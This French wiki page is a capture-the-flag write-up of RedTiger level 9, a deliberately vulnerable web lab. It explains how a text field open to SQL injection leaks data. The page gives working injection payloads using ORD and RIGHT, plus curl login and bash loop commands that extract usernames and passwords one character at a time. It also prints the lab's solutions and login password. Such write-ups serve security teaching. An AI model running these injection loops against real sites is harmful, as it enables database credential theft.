Outils d'utilisateurs

Outils du Site


redtiger_level9

Redtiger level 9

Adresse de l’épreuve : http://redtiger.labs.overthewire.org/level9.php

L'objectif de ce challenge est de récupérer les mots de passes et nom d'utilisateur de la table level9_users. Il est spécifié que ce n'est pas une injection de type BLIND. Le champ texte est vulnérable aux injections. En testant un payload valide; nous nous sommes rendu compte que le script n'affichait que les chiffres. En effet, avec un payload comme ceci, le résultat de l'opération est affiché:

'+3+4+'

Nous avons donc continuer sur cette voie et trouver des commandes MySQL valides parmi toutes celles filtrées. Ici, les commandes ORD et RIGHT sont possibles. En utilisant le payload suivant, nous obtenons le code ASCII du dernier caractère.

'+(select ORD(RIGHT(username,1)) from level9_users LIMIT 1)+'

Nous allons donc boucler sur la position (deuxième paramètre de la commande RIGHT) pour avoir le contenu complet de la chaîne. Pour cela, au lieu de scripter en python, pour des raisons de rapidité, nous allons utiliser l'outil curl. Pour accéder à l'épreuve il est nécessaire d'avoir un cookie. Pour cela, nous utilisons l'option cookie-jar.

curl --silent --insecure --cookie-jar redtiger --cookie redtiger --request POST --data "password=slap_the_lamerz_drink_some_beer&level9login=Login" http://redtiger.labs.overthewire.org/level9.php

Nous utilisons une boucle for avec une valeur non définie au départ car nous ne connaissons pas la taille de la chaîne. Pour des raisons de visibilité, nous “parsons” la chaîne.

for i in {1..15}; do echo `curl --silent --cookie redtiger --data "autor=&title=&text=%27%2B(select%20ORD(RIGHT(username%2C$i))%20from%20level9_users%20LIMIT%201)%2B%27&post=Envoyer" http://redtiger.labs.overthewire.org/level9.php` | cut -d ">" -f 15 |sed 's/<br//'; done
114
...
84

Voici le résultat de notre boucle : TheBlueFlower

Pour le mot de passe, nous faisons la même chose mais sur le champ password:

for i in {0..105}; do echo `curl --silent --cookie redtiger --data "autor=&title=&text=%27%2B(select%20ORD(RIGHT(password%2C$i))%20from%20level9_users%20LIMIT%201)%2B%27&post=Envoyer" http://redtiger.labs.overthewire.org/level9.php` | cut -d ">" -f 15 |sed 's/<br//'; done

Ce qui nous donne :

all_MY-PASSwords_are_secure12..//fritzkola55!
redtiger_level9.txt · Dernière modification: 2017/04/09 15:33 (modification externe)